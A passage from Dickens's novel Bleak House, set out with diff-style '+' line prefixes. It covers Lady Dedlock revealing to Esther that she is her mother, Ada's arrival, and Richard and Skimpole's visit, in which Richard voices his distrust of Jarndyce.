+startling name, and the old legend in the Dedlock family which I had
+heard from Mr. Boythorn accounting for it, mingled with the view and
+gave it something of a mysterious interest in addition to its real
+charms. There was a bank here, too, which was a famous one for
+violets; and as it was a daily delight of Charley's to gather wild
+flowers, she took as much to the spot as I did.
+
+It would be idle to inquire now why I never went close to the house
+or never went inside it. The family were not there, I had heard on my
+arrival, and were not expected. I was far from being incurious or
+uninterested about the building; on the contrary, I often sat in this
+place wondering how the rooms ranged and whether any echo like a
+footstep really did resound at times, as the story said, upon the
+lonely Ghost's Walk. The indefinable feeling with which Lady Dedlock
+had impressed me may have had some influence in keeping me from the
+house even when she was absent. I am not sure. Her face and figure
+were associated with it, naturally; but I cannot say that they
+repelled me from it, though something did. For whatever reason or no
+reason, I had never once gone near it, down to the day at which my
+story now arrives.
+
+I was resting at my favourite point after a long ramble, and Charley
+was gathering violets at a little distance from me. I had been
+looking at the Ghost's Walk lying in a deep shade of masonry afar off
+and picturing to myself the female shape that was said to haunt it
+when I became aware of a figure approaching through the wood. The
+perspective was so long and so darkened by leaves, and the shadows of
+the branches on the ground made it so much more intricate to the eye,
+that at first I could not discern what figure it was. By little and
+little it revealed itself to be a woman's--a lady's--Lady Dedlock's.
+She was alone and coming to where I sat with a much quicker step, I
+observed to my surprise, than was usual with her.
+
+I was fluttered by her being unexpectedly so near (she was almost
+within speaking distance before I knew her) and would have risen to
+continue my walk. But I could not. I was rendered motionless. Not so
+much by her hurried gesture of entreaty, not so much by her quick
+advance and outstretched hands, not so much by the great change in
+her manner and the absence of her haughty self-restraint, as by a
+something in her face that I had pined for and dreamed of when I was
+a little child, something I had never seen in any face, something I
+had never seen in hers before.
+
+A dread and faintness fell upon me, and I called to Charley. Lady
+Dedlock stopped upon the instant and changed back almost to what I
+had known her.
+
+"Miss Summerson, I am afraid I have startled you," she said, now
+advancing slowly. "You can scarcely be strong yet. You have been very
+ill, I know. I have been much concerned to hear it."
+
+I could no more have removed my eyes from her pale face than I could
+have stirred from the bench on which I sat. She gave me her hand, and
+its deadly coldness, so at variance with the enforced composure of
+her features, deepened the fascination that overpowered me. I cannot
+say what was in my whirling thoughts.
+
+"You are recovering again?" she asked kindly.
+
+"I was quite well but a moment ago, Lady Dedlock."
+
+"Is this your young attendant?"
+
+"Yes."
+
+"Will you send her on before and walk towards your house with me?"
+
+"Charley," said I, "take your flowers home, and I will follow you
+directly."
+
+Charley, with her best curtsy, blushingly tied on her bonnet and went
+her way. When she was gone, Lady Dedlock sat down on the seat beside
+me.
+
+I cannot tell in any words what the state of my mind was when I saw
+in her hand my handkerchief with which I had covered the dead baby.
+
+I looked at her, but I could not see her, I could not hear her, I
+could not draw my breath. The beating of my heart was so violent and
+wild that I felt as if my life were breaking from me. But when she
+caught me to her breast, kissed me, wept over me, compassionated me,
+and called me back to myself; when she fell down on her knees and
+cried to me, "Oh, my child, my child, I am your wicked and unhappy
+mother! Oh, try to forgive me!"--when I saw her at my feet on the
+bare earth in her great agony of mind, I felt, through all my tumult
+of emotion, a burst of gratitude to the providence of God that I was
+so changed as that I never could disgrace her by any trace of
+likeness, as that nobody could ever now look at me and look at her
+and remotely think of any near tie between us.
+
+I raised my mother up, praying and beseeching her not to stoop before
+me in such affliction and humiliation. I did so in broken, incoherent
+words, for besides the trouble I was in, it frightened me to see her
+at MY feet. I told her--or I tried to tell her--that if it were for
+me, her child, under any circumstances to take upon me to forgive
+her, I did it, and had done it, many, many years. I told her that my
+heart overflowed with love for her, that it was natural love which
+nothing in the past had changed or could change. That it was not for
+me, then resting for the first time on my mother's bosom, to take her
+to account for having given me life, but that my duty was to bless
+her and receive her, though the whole world turned from her, and that
+I only asked her leave to do it. I held my mother in my embrace, and
+she held me in hers, and among the still woods in the silence of the
+summer day there seemed to be nothing but our two troubled minds that
+was not at peace.
+
+"To bless and receive me," groaned my mother, "it is far too late. I
+must travel my dark road alone, and it will lead me where it will.
+From day to day, sometimes from hour to hour, I do not see the way
+before my guilty feet. This is the earthly punishment I have brought
+upon myself. I bear it, and I hide it."
+
+Even in the thinking of her endurance, she drew her habitual air of
+proud indifference about her like a veil, though she soon cast it off
+again.
+
+"I must keep this secret, if by any means it can be kept, not wholly
+for myself. I have a husband, wretched and dishonouring creature that
+I am!"
+
+These words she uttered with a suppressed cry of despair, more
+terrible in its sound than any shriek. Covering her face with her
+hands, she shrank down in my embrace as if she were unwilling that I
+should touch her; nor could I, by my utmost persuasions or by any
+endearments I could use, prevail upon her to rise. She said, no, no,
+no, she could only speak to me so; she must be proud and disdainful
+everywhere else; she would be humbled and ashamed there, in the only
+natural moments of her life.
+
+My unhappy mother told me that in my illness she had been nearly
+frantic. She had but then known that her child was living. She could
+not have suspected me to be that child before. She had followed me
+down here to speak to me but once in all her life. We never could
+associate, never could communicate, never probably from that time
+forth could interchange another word on earth. She put into my hands
+a letter she had written for my reading only and said when I had read
+it and destroyed it--but not so much for her sake, since she asked
+nothing, as for her husband's and my own--I must evermore consider
+her as dead. If I could believe that she loved me, in this agony in
+which I saw her, with a mother's love, she asked me to do that, for
+then I might think of her with a greater pity, imagining what she
+suffered. She had put herself beyond all hope and beyond all help.
+Whether she preserved her secret until death or it came to be
+discovered and she brought dishonour and disgrace upon the name she
+had taken, it was her solitary struggle always; and no affection
+could come near her, and no human creature could render her any aid.
+
+"But is the secret safe so far?" I asked. "Is it safe now, dearest
+mother?"
+
+"No," replied my mother. "It has been very near discovery. It was
+saved by an accident. It may be lost by another accident--to-morrow,
+any day."
+
+"Do you dread a particular person?"
+
+"Hush! Do not tremble and cry so much for me. I am not worthy of
+these tears," said my mother, kissing my hands. "I dread one person
+very much."
+
+"An enemy?"
+
+"Not a friend. One who is too passionless to be either. He is Sir
+Leicester Dedlock's lawyer, mechanically faithful without attachment,
+and very jealous of the profit, privilege, and reputation of being
+master of the mysteries of great houses."
+
+"Has he any suspicions?"
+
+"Many."
+
+"Not of you?" I said alarmed.
+
+"Yes! He is always vigilant and always near me. I may keep him at a
+standstill, but I can never shake him off."
+
+"Has he so little pity or compunction?"
+
+"He has none, and no anger. He is indifferent to everything but his
+calling. His calling is the acquisition of secrets and the holding
+possession of such power as they give him, with no sharer or opponent
+in it."
+
+"Could you trust in him?"
+
+"I shall never try. The dark road I have trodden for so many years
+will end where it will. I follow it alone to the end, whatever the
+end be. It may be near, it may be distant; while the road lasts,
+nothing turns me."
+
+"Dear mother, are you so resolved?"
+
+"I AM resolved. I have long outbidden folly with folly, pride with
+pride, scorn with scorn, insolence with insolence, and have outlived
+many vanities with many more. I will outlive this danger, and outdie
+it, if I can. It has closed around me almost as awfully as if these
+woods of Chesney Wold had closed around the house, but my course
+through it is the same. I have but one; I can have but one."
+
+"Mr. Jarndyce--" I was beginning when my mother hurriedly inquired,
+"Does HE suspect?"
+
+"No," said I. "No, indeed! Be assured that he does not!" And I told
+her what he had related to me as his knowledge of my story. "But he
+is so good and sensible," said I, "that perhaps if he knew--"
+
+My mother, who until this time had made no change in her position,
+raised her hand up to my lips and stopped me.
+
+"Confide fully in him," she said after a little while. "You have my
+free consent--a small gift from such a mother to her injured
+child!--but do not tell me of it. Some pride is left in me even yet."
+
+I explained, as nearly as I could then, or can recall now--for my
+agitation and distress throughout were so great that I scarcely
+understood myself, though every word that was uttered in the mother's
+voice, so unfamiliar and so melancholy to me, which in my childhood I
+had never learned to love and recognize, had never been sung to sleep
+with, had never heard a blessing from, had never had a hope inspired
+by, made an enduring impression on my memory--I say I explained, or
+tried to do it, how I had only hoped that Mr. Jarndyce, who had been
+the best of fathers to me, might be able to afford some counsel and
+support to her. But my mother answered no, it was impossible; no one
+could help her. Through the desert that lay before her, she must go
+alone.
+
+"My child, my child!" she said. "For the last time! These kisses for
+the last time! These arms upon my neck for the last time! We shall
+meet no more. To hope to do what I seek to do, I must be what I have
+been so long. Such is my reward and doom. If you hear of Lady
+Dedlock, brilliant, prosperous, and flattered, think of your wretched
+mother, conscience-stricken, underneath that mask! Think that the
+reality is in her suffering, in her useless remorse, in her murdering
+within her breast the only love and truth of which it is capable! And
+then forgive her if you can, and cry to heaven to forgive her, which
+it never can!"
+
+We held one another for a little space yet, but she was so firm that
+she took my hands away, and put them back against my breast, and with
+a last kiss as she held them there, released them, and went from me
+into the wood. I was alone, and calm and quiet below me in the sun
+and shade lay the old house, with its terraces and turrets, on which
+there had seemed to me to be such complete repose when I first saw
+it, but which now looked like the obdurate and unpitying watcher of
+my mother's misery.
+
+Stunned as I was, as weak and helpless at first as I had ever been in
+my sick chamber, the necessity of guarding against the danger of
+discovery, or even of the remotest suspicion, did me service. I took
+such precautions as I could to hide from Charley that I had been
+crying, and I constrained myself to think of every sacred obligation
+that there was upon me to be careful and collected. It was not a
+little while before I could succeed or could even restrain bursts of
+grief, but after an hour or so I was better and felt that I might
+return. I went home very slowly and told Charley, whom I found at the
+gate looking for me, that I had been tempted to extend my walk after
+Lady Dedlock had left me and that I was over-tired and would lie
+down. Safe in my own room, I read the letter. I clearly derived from
+it--and that was much then--that I had not been abandoned by my
+mother. Her elder and only sister, the godmother of my childhood,
+discovering signs of life in me when I had been laid aside as dead,
+had in her stern sense of duty, with no desire or willingness that I
+should live, reared me in rigid secrecy and had never again beheld my
+mother's face from within a few hours of my birth. So strangely did I
+hold my place in this world that until within a short time back I had
+never, to my own mother's knowledge, breathed--had been buried--had
+never been endowed with life--had never borne a name. When she had
+first seen me in the church she had been startled and had thought of
+what would have been like me if it had ever lived, and had lived on,
+but that was all then.
+
+What more the letter told me needs not to be repeated here. It has
+its own times and places in my story.
+
+My first care was to burn what my mother had written and to consume
+even its ashes. I hope it may not appear very unnatural or bad in me
+that I then became heavily sorrowful to think I had ever been reared.
+That I felt as if I knew it would have been better and happier for
+many people if indeed I had never breathed. That I had a terror of
+myself as the danger and the possible disgrace of my own mother and
+of a proud family name. That I was so confused and shaken as to be
+possessed by a belief that it was right and had been intended that I
+should die in my birth, and that it was wrong and not intended that I
+should be then alive.
+
+These are the real feelings that I had. I fell asleep worn out, and
+when I awoke I cried afresh to think that I was back in the world
+with my load of trouble for others. I was more than ever frightened
+of myself, thinking anew of her against whom I was a witness, of the
+owner of Chesney Wold, of the new and terrible meaning of the old
+words now moaning in my ear like a surge upon the shore, "Your
+mother, Esther, was your disgrace, and you are hers. The time will
+come--and soon enough--when you will understand this better, and will
+feel it too, as no one save a woman can." With them, those other
+words returned, "Pray daily that the sins of others be not visited
+upon your head." I could not disentangle all that was about me, and I
+felt as if the blame and the shame were all in me, and the visitation
+had come down.
+
+The day waned into a gloomy evening, overcast and sad, and I still
+contended with the same distress. I went out alone, and after walking
+a little in the park, watching the dark shades falling on the trees
+and the fitful flight of the bats, which sometimes almost touched me,
+was attracted to the house for the first time. Perhaps I might not
+have gone near it if I had been in a stronger frame of mind. As it
+was, I took the path that led close by it.
+
+I did not dare to linger or to look up, but I passed before the
+terrace garden with its fragrant odours, and its broad walks, and its
+well-kept beds and smooth turf; and I saw how beautiful and grave it
+was, and how the old stone balustrades and parapets, and wide flights
+of shallow steps, were seamed by time and weather; and how the
+trained moss and ivy grew about them, and around the old stone
+pedestal of the sun-dial; and I heard the fountain falling. Then the
+way went by long lines of dark windows diversified by turreted towers
+and porches of eccentric shapes, where old stone lions and grotesque
+monsters bristled outside dens of shadow and snarled at the evening
+gloom over the escutcheons they held in their grip. Thence the path
+wound underneath a gateway, and through a court-yard where the
+principal entrance was (I hurried quickly on), and by the stables
+where none but deep voices seemed to be, whether in the murmuring of
+the wind through the strong mass of ivy holding to a high red wall,
+or in the low complaining of the weathercock, or in the barking of
+the dogs, or in the slow striking of a clock. So, encountering
+presently a sweet smell of limes, whose rustling I could hear, I
+turned with the turning of the path to the south front, and there
+above me were the balustrades of the Ghost's Walk and one lighted
+window that might be my mother's.
+
+The way was paved here, like the terrace overhead, and my footsteps
+from being noiseless made an echoing sound upon the flags. Stopping
+to look at nothing, but seeing all I did see as I went, I was passing
+quickly on, and in a few moments should have passed the lighted
+window, when my echoing footsteps brought it suddenly into my mind
+that there was a dreadful truth in the legend of the Ghost's Walk,
+that it was I who was to bring calamity upon the stately house and
+that my warning feet were haunting it even then. Seized with an
+augmented terror of myself which turned me cold, I ran from myself
+and everything, retraced the way by which I had come, and never
+paused until I had gained the lodge-gate, and the park lay sullen and
+black behind me.
+
+Not before I was alone in my own room for the night and had again
+been dejected and unhappy there did I begin to know how wrong and
+thankless this state was. But from my darling who was coming on the
+morrow, I found a joyful letter, full of such loving anticipation
+that I must have been of marble if it had not moved me; from my
+guardian, too, I found another letter, asking me to tell Dame Durden,
+if I should see that little woman anywhere, that they had moped most
+pitiably without her, that the housekeeping was going to rack and
+ruin, that nobody else could manage the keys, and that everybody in
+and about the house declared it was not the same house and was
+becoming rebellious for her return. Two such letters together made me
+think how far beyond my deserts I was beloved and how happy I ought
+to be. That made me think of all my past life; and that brought me,
+as it ought to have done before, into a better condition.
+
+For I saw very well that I could not have been intended to die, or I
+should never have lived; not to say should never have been reserved
+for such a happy life. I saw very well how many things had worked
+together for my welfare, and that if the sins of the fathers were
+sometimes visited upon the children, the phrase did not mean what I
+had in the morning feared it meant. I knew I was as innocent of my
+birth as a queen of hers and that before my Heavenly Father I should
+not be punished for birth nor a queen rewarded for it. I had had
+experience, in the shock of that very day, that I could, even thus
+soon, find comforting reconcilements to the change that had fallen on
+me. I renewed my resolutions and prayed to be strengthened in them,
+pouring out my heart for myself and for my unhappy mother and feeling
+that the darkness of the morning was passing away. It was not upon my
+sleep; and when the next day's light awoke me, it was gone.
+
+My dear girl was to arrive at five o'clock in the afternoon. How to
+help myself through the intermediate time better than by taking a
+long walk along the road by which she was to come, I did not know; so
+Charley and I and Stubbs--Stubbs saddled, for we never drove him
+after the one great occasion--made a long expedition along that road
+and back. On our return, we held a great review of the house and
+garden and saw that everything was in its prettiest condition, and
+had the bird out ready as an important part of the establishment.
+
+There were more than two full hours yet to elapse before she could
+come, and in that interval, which seemed a long one, I must confess I
+was nervously anxious about my altered looks. I loved my darling so
+well that I was more concerned for their effect on her than on any
+one. I was not in this slight distress because I at all repined--I am
+quite certain I did not, that day--but, I thought, would she be
+wholly prepared? When she first saw me, might she not be a little
+shocked and disappointed? Might it not prove a little worse than she
+expected? Might she not look for her old Esther and not find her?
+Might she not have to grow used to me and to begin all over again?
+
+I knew the various expressions of my sweet girl's face so well, and
+it was such an honest face in its loveliness, that I was sure
+beforehand she could not hide that first look from me. And I
+considered whether, if it should signify any one of these meanings,
+which was so very likely, could I quite answer for myself?
+
+Well, I thought I could. After last night, I thought I could. But to
+wait and wait, and expect and expect, and think and think, was such
+bad preparation that I resolved to go along the road again and meet
+her.
+
+So I said to Charley, "Charley, I will go by myself and walk along
+the road until she comes." Charley highly approving of anything that
+pleased me, I went and left her at home.
+
+But before I got to the second milestone, I had been in so many
+palpitations from seeing dust in the distance (though I knew it was
+not, and could not, be the coach yet) that I resolved to turn back
+and go home again. And when I had turned, I was in such fear of the
+coach coming up behind me (though I still knew that it neither would,
+nor could, do any such thing) that I ran the greater part of the way
+to avoid being overtaken.
+
+Then, I considered, when I had got safe back again, this was a nice
+thing to have done! Now I was hot and had made the worst of it
+instead of the best.
+
+At last, when I believed there was at least a quarter of an hour more
+yet, Charley all at once cried out to me as I was trembling in the
+garden, "Here she comes, miss! Here she is!"
+
+I did not mean to do it, but I ran upstairs into my room and hid
+myself behind the door. There I stood trembling, even when I heard my
+darling calling as she came upstairs, "Esther, my dear, my love,
+where are you? Little woman, dear Dame Durden!"
+
+She ran in, and was running out again when she saw me. Ah, my angel
+girl! The old dear look, all love, all fondness, all affection.
+Nothing else in it--no, nothing, nothing!
+
+Oh, how happy I was, down upon the floor, with my sweet beautiful
+girl down upon the floor too, holding my scarred face to her lovely
+cheek, bathing it with tears and kisses, rocking me to and fro like a
+child, calling me by every tender name that she could think of, and
+pressing me to her faithful heart.
+
+
+
+
+CHAPTER XXXVII
+
+Jarndyce and Jarndyce
+
+
+If the secret I had to keep had been mine, I must have confided it to
+Ada before we had been long together. But it was not mine, and I did
+not feel that I had a right to tell it, even to my guardian, unless
+some great emergency arose. It was a weight to bear alone; still my
+present duty appeared to be plain, and blest in the attachment of my
+dear, I did not want an impulse and encouragement to do it. Though
+often when she was asleep and all was quiet, the remembrance of my
+mother kept me waking and made the night sorrowful, I did not yield
+to it at another time; and Ada found me what I used to be--except, of
+course, in that particular of which I have said enough and which I
+have no intention of mentioning any more just now, if I can help it.
+
+The difficulty that I felt in being quite composed that first evening
+when Ada asked me, over our work, if the family were at the house,
+and when I was obliged to answer yes, I believed so, for Lady Dedlock
+had spoken to me in the woods the day before yesterday, was great.
+Greater still when Ada asked me what she had said, and when I replied
+that she had been kind and interested, and when Ada, while admitting
+her beauty and elegance, remarked upon her proud manner and her
+imperious chilling air. But Charley helped me through, unconsciously,
+by telling us that Lady Dedlock had only stayed at the house two
+nights on her way from London to visit at some other great house in
+the next county and that she had left early on the morning after we
+had seen her at our view, as we called it. Charley verified the adage
+about little pitchers, I am sure, for she heard of more sayings and
+doings in a day than would have come to my ears in a month.
+
+We were to stay a month at Mr. Boythorn's. My pet had scarcely been
+there a bright week, as I recollect the time, when one evening after
+we had finished helping the gardener in watering his flowers, and
+just as the candles were lighted, Charley, appearing with a very
+important air behind Ada's chair, beckoned me mysteriously out of the
+room.
+
+"Oh! If you please, miss," said Charley in a whisper, with her eyes
+at their roundest and largest. "You're wanted at the Dedlock Arms."
+
+"Why, Charley," said I, "who can possibly want me at the
+public-house?"
+
+"I don't know, miss," returned Charley, putting her head forward and
+folding her hands tight upon the band of her little apron, which she
+always did in the enjoyment of anything mysterious or confidential,
+"but it's a gentleman, miss, and his compliments, and will you please
+to come without saying anything about it."
+
+"Whose compliments, Charley?"
+
+"His'n, miss," returned Charley, whose grammatical education was
+advancing, but not very rapidly.
+
+"And how do you come to be the messenger, Charley?"
+
+"I am not the messenger, if you please, miss," returned my little
+maid. "It was W. Grubble, miss."
+
+"And who is W. Grubble, Charley?"
+
+"Mister Grubble, miss," returned Charley. "Don't you know, miss? The
+Dedlock Arms, by W. Grubble," which Charley delivered as if she were
+slowly spelling out the sign.
+
+"Aye? The landlord, Charley?"
+
+"Yes, miss. If you please, miss, his wife is a beautiful woman, but
+she broke her ankle, and it never joined. And her brother's the
+sawyer that was put in the cage, miss, and they expect he'll drink
+himself to death entirely on beer," said Charley.
+
+Not knowing what might be the matter, and being easily apprehensive
+now, I thought it best to go to this place by myself. I bade Charley
+be quick with my bonnet and veil and my shawl, and having put them
+on, went away down the little hilly street, where I was as much at
+home as in Mr. Boythorn's garden.
+
+Mr. Grubble was standing in his shirt-sleeves at the door of his very
+clean little tavern waiting for me. He lifted off his hat with both
+hands when he saw me coming, and carrying it so, as if it were an
+iron vessel (it looked as heavy), preceded me along the sanded
+passage to his best parlour, a neat carpeted room with more plants in
+it than were quite convenient, a coloured print of Queen Caroline,
+several shells, a good many tea-trays, two stuffed and dried fish in
+glass cases, and either a curious egg or a curious pumpkin (but I
+don't know which, and I doubt if many people did) hanging from his
+ceiling. I knew Mr. Grubble very well by sight, from his often
+standing at his door. A pleasant-looking, stoutish, middle-aged man
+who never seemed to consider himself cozily dressed for his own
+fire-side without his hat and top-boots, but who never wore a coat
+except at church.
+
+He snuffed the candle, and backing away a little to see how it
+looked, backed out of the room--unexpectedly to me, for I was going
+to ask him by whom he had been sent. The door of the opposite parlour
+being then opened, I heard some voices, familiar in my ears I
+thought, which stopped. A quick light step approached the room in
+which I was, and who should stand before me but Richard!
+
+"My dear Esther!" he said. "My best friend!" And he really was so
+warm-hearted and earnest that in the first surprise and pleasure of
+his brotherly greeting I could scarcely find breath to tell him that
+Ada was well.
+
+"Answering my very thoughts--always the same dear girl!" said
+Richard, leading me to a chair and seating himself beside me.
+
+I put my veil up, but not quite.
+
+"Always the same dear girl!" said Richard just as heartily as before.
+
+I put up my veil altogether, and laying my hand on Richard's sleeve
+and looking in his face, told him how much I thanked him for his kind
+welcome and how greatly I rejoiced to see him, the more so because of
+the determination I had made in my illness, which I now conveyed to
+him.
+
+"My love," said Richard, "there is no one with whom I have a greater
+wish to talk than you, for I want you to understand me."
+
+"And I want you, Richard," said I, shaking my head, "to understand
+some one else."
+
+"Since you refer so immediately to John Jarndyce," said Richard, "--I
+suppose you mean him?"
+
+"Of course I do."
+
+"Then I may say at once that I am glad of it, because it is on that
+subject that I am anxious to be understood. By you, mind--you, my
+dear! I am not accountable to Mr. Jarndyce or Mr. Anybody."
+
+I was pained to find him taking this tone, and he observed it.
+
+"Well, well, my dear," said Richard, "we won't go into that now. I
+want to appear quietly in your country-house here, with you under my
+arm, and give my charming cousin a surprise. I suppose your loyalty
+to John Jarndyce will allow that?"
+
+"My dear Richard," I returned, "you know you would be heartily
+welcome at his house--your home, if you will but consider it so; and
+you are as heartily welcome here!"
+
+"Spoken like the best of little women!" cried Richard gaily.
+
+I asked him how he liked his profession.
+
+"Oh, I like it well enough!" said Richard. "It's all right. It does
+as well as anything else, for a time. I don't know that I shall care
+about it when I come to be settled, but I can sell out then
+and--however, never mind all that botheration at present."
+
+So young and handsome, and in all respects so perfectly the opposite
+of Miss Flite! And yet, in the clouded, eager, seeking look that
+passed over him, so dreadfully like her!
+
+"I am in town on leave just now," said Richard.
+
+"Indeed?"
+
+"Yes. I have run over to look after my--my Chancery interests before
+the long vacation," said Richard, forcing a careless laugh. "We are
+beginning to spin along with that old suit at last, I promise you."
+
+No wonder that I shook my head!
+
+"As you say, it's not a pleasant subject." Richard spoke with the
+same shade crossing his face as before. "Let it go to the four winds
+for to-night. Puff! Gone! Who do you suppose is with me?"
+
+"Was it Mr. Skimpole's voice I heard?"
+
+"That's the man! He does me more good than anybody. What a
+fascinating child it is!"
+
+I asked Richard if any one knew of their coming down together. He
+answered, no, nobody. He had been to call upon the dear old
+infant--so he called Mr. Skimpole--and the dear old infant had told
+him where we were, and he had told the dear old infant he was bent on
+coming to see us, and the dear old infant had directly wanted to come
+too; and so he had brought him. "And he is worth--not to say his
+sordid expenses--but thrice his weight in gold," said Richard. "He is
+such a cheery fellow. No worldliness about him. Fresh and
+green-hearted!"
+
+I certainly did not see the proof of Mr. Skimpole's worldliness in
+his having his expenses paid by Richard, but I made no remark about
+that. Indeed, he came in and turned our conversation. He was charmed
+to see me, said he had been shedding delicious tears of joy and
+sympathy at intervals for six weeks on my account, had never been so
+happy as in hearing of my progress, began to understand the mixture
+of good and evil in the world now, felt that he appreciated health
+the more when somebody else was ill, didn't know but what it might be
+in the scheme of things that A should squint to make B happier in
+looking straight or that C should carry a wooden leg to make D better
+satisfied with his flesh and blood in a silk stocking.
+
+"My dear Miss Summerson, here is our friend Richard," said Mr.
+Skimpole, "full of the brightest visions of the future, which he
+evokes out of the darkness of Chancery. Now that's delightful, that's
+inspiriting, that's full of poetry! In old times the woods and
+solitudes were made joyous to the shepherd by the imaginary piping
+and dancing of Pan and the nymphs. This present shepherd, our
+pastoral Richard, brightens the dull Inns of Court by making Fortune
+and her train sport through them to the melodious notes of a judgment
+from the bench. That's very pleasant, you know! Some ill-conditioned
+growling fellow may say to me, 'What's the use of these legal and
+equitable abuses? How do you defend them?' I reply, 'My growling
+friend, I DON'T defend them, but they are very agreeable to me. There
+is a shepherd--youth, a friend of mine, who transmutes them into
+something highly fascinating to my simplicity. I don't say it is for
+this that they exist--for I am a child among you worldly grumblers,
+and not called upon to account to you or myself for anything--but it
+may be so.'"
+
+I began seriously to think that Richard could scarcely have found a
+worse friend than this. It made me uneasy that at such a time when he
+most required some right principle and purpose he should have this
+captivating looseness and putting-off of everything, this airy
+dispensing with all principle and purpose, at his elbow. I thought I
+could understand how such a nature as my guardian's, experienced in
+the world and forced to contemplate the miserable evasions and
+contentions of the family misfortune, found an immense relief in Mr.
+Skimpole's avowal of his weaknesses and display of guileless candour;
+but I could not satisfy myself that it was as artless as it seemed or
+that it did not serve Mr. Skimpole's idle turn quite as well as any
+other part, and with less trouble.
+
+They both walked back with me, and Mr. Skimpole leaving us at the
+gate, I walked softly in with Richard and said, "Ada, my love, I have
+brought a gentleman to visit you." It was not difficult to read the
+blushing, startled face. She loved him dearly, and he knew it, and I
+knew it. It was a very transparent business, that meeting as cousins
+only.
+
+I almost mistrusted myself as growing quite wicked in my suspicions,
+but I was not so sure that Richard loved her dearly. He admired her
+very much--any one must have done that--and I dare say would have
+renewed their youthful engagement with great pride and ardour but
+that he knew how she would respect her promise to my guardian. Still
+I had a tormenting idea that the influence upon him extended even
+here, that he was postponing his best truth and earnestness in this
+as in all things until Jarndyce and Jarndyce should be off his mind.
+Ah me! What Richard would have been without that blight, I never
+shall know now!
+
+He told Ada, in his most ingenuous way, that he had not come to make
+any secret inroad on the terms she had accepted (rather too
+implicitly and confidingly, he thought) from Mr. Jarndyce, that he
+had come openly to see her and to see me and to justify himself for
+the present terms on which he stood with Mr. Jarndyce. As the dear
+old infant would be with us directly, he begged that I would make an
+appointment for the morning, when he might set himself right through
+the means of an unreserved conversation with me. I proposed to walk
+with him in the park at seven o'clock, and this was arranged. Mr.
+Skimpole soon afterwards appeared and made us merry for an hour. He
+particularly requested to see little Coavinses (meaning Charley) and
+told her, with a patriarchal air, that he had given her late father
+all the business in his power and that if one of her little brothers
+would make haste to get set up in the same profession, he hoped he
+should still be able to put a good deal of employment in his way.
+
+"For I am constantly being taken in these nets," said Mr. Skimpole,
+looking beamingly at us over a glass of wine-and-water, "and am
+constantly being bailed out--like a boat. Or paid off--like a ship's
+company. Somebody always does it for me. I can't do it, you know, for
+I never have any money. But somebody does it. I get out by somebody's
+means; I am not like the starling; I get out. If you were to ask me
+who somebody is, upon my word I couldn't tell you. Let us drink to
+somebody. God bless him!"
+
+Richard was a little late in the morning, but I had not to wait for
+him long, and we turned into the park. The air was bright and dewy
+and the sky without a cloud. The birds sang delightfully; the
+sparkles in the fern, the grass, and trees, were exquisite to see;
+the richness of the woods seemed to have increased twenty-fold since
+yesterday, as if, in the still night when they had looked so
+massively hushed in sleep, Nature, through all the minute details of
+every wonderful leaf, had been more wakeful than usual for the glory
+of that day.
+
+"This is a lovely place," said Richard, looking round. "None of the
+jar and discord of law-suits here!"
+
+But there was other trouble.
+
+"I tell you what, my dear girl," said Richard, "when I get affairs in
+general settled, I shall come down here, I think, and rest."
+
+"Would it not be better to rest now?" I asked.
+
+"Oh, as to resting NOW," said Richard, "or as to doing anything very
+definite NOW, that's not easy. In short, it can't be done; I can't do
+it at least."
+
+"Why not?" said I.
+
+"You know why not, Esther. If you were living in an unfinished house,
+liable to have the roof put on or taken off--to be from top to bottom
+pulled down or built up--to-morrow, next day, next week, next month,
+next year--you would find it hard to rest or settle. So do I. Now?
+There's no now for us suitors."
+
+I could almost have believed in the attraction on which my poor
+little wandering friend had expatiated when I saw again the darkened
+look of last night. Terrible to think it had in it also a shade of
+that unfortunate man who had died.
+
+"My dear Richard," said I, "this is a bad beginning of our
+conversation."
+
+"I knew you would tell me so, Dame Durden."
+
+"And not I alone, dear Richard. It was not I who cautioned you once
+never to found a hope or expectation on the family curse."
+
+"There you come back to John Jarndyce!" said Richard impatiently.
+"Well! We must approach him sooner or later, for he is the staple of
+what I have to say, and it's as well at once. My dear Esther, how can
+you be so blind? Don't you see that he is an interested party and
+that it may be very well for him to wish me to know nothing of the
+suit, and care nothing about it, but that it may not be quite so well
+for me?"
+
+"Oh, Richard," I remonstrated, "is it possible that you can ever have
+seen him and heard him, that you can ever have lived under his roof
+and known him, and can yet breathe, even to me in this solitary place
+where there is no one to hear us, such unworthy suspicions?"
+
+He reddened deeply, as if his natural generosity felt a pang of
+reproach. He was silent for a little while before he replied in a
+subdued voice, "Esther, I am sure you know that I am not a mean
+fellow and that I have some sense of suspicion and distrust being
+poor qualities in one of my years."
+
+"I know it very well," said I. "I am not more sure of anything."
+
+"That's a dear girl," retorted Richard, "and like you, because it
+gives me comfort. I had need to get some scrap of comfort out of all
+this business, for it's a bad one at the best, as I have no occasion
+to tell you."
+
+"I know perfectly," said I. "I know as well, Richard--what shall I
+say? as well as you do--that such misconstructions are foreign to
+your nature. And I know, as well as you know, what so changes it."
+
+"Come, sister, come," said Richard a little more gaily, "you will be
+fair with me at all events. If I have the misfortune to be under that
+influence, so has he. If it has a little twisted me, it may have a
+little twisted him too. I don't say that he is not an honourable man,
+out of all this complication and uncertainty; I am sure he is. But it
+taints everybody. You know it taints everybody. You have heard him
+say so fifty times. Then why should HE escape?"
+
+"Because," said I, "his is an uncommon character, and he has
+resolutely kept himself outside the circle, Richard."
+
+"Oh, because and because!" replied Richard in his vivacious way. "I
+am not sure, my dear girl, but that it may be wise and specious to
+preserve that outward indifference. It may cause other parties
+interested to become lax about their interests; and people may die
+off, and points may drag themselves out of memory, and many things
+may smoothly happen that are convenient enough."
+
+I was so touched with pity for Richard that I could not reproach him
+any more, even by a look. I remembered my guardian's gentleness
+towards his errors and with what perfect freedom from resentment he
+had spoken of them.
+
+"Esther," Richard resumed, "you are not to suppose that I have come
+here to make underhanded charges against John Jarndyce. I have only
+come to justify myself. What I say is, it was all very well and we
+got on very well while I was a boy, utterly regardless of this same
+suit; but as soon as I began to take an interest in it and to look
+into it, then it was quite another thing. Then John Jarndyce
+discovers that Ada and I must break off and that if I don't amend
+that very objectionable course, I am not fit for her. Now, Esther, I
+don't mean to amend that very objectionable course: I will not hold
+John Jarndyce's favour on those unfair terms of compromise, which he
+has no right to dictate. Whether it pleases him or displeases him, I
+must maintain my rights and Ada's. I have been thinking about it a
+good deal, and this is the conclusion I have come to."
+
+Poor dear Richard! He had indeed been thinking about it a good deal.
+His face, his voice, his manner, all showed that too plainly.
+
+"So I tell him honourably (you are to know I have written to him
+about all this) that we are at issue and that we had better be at
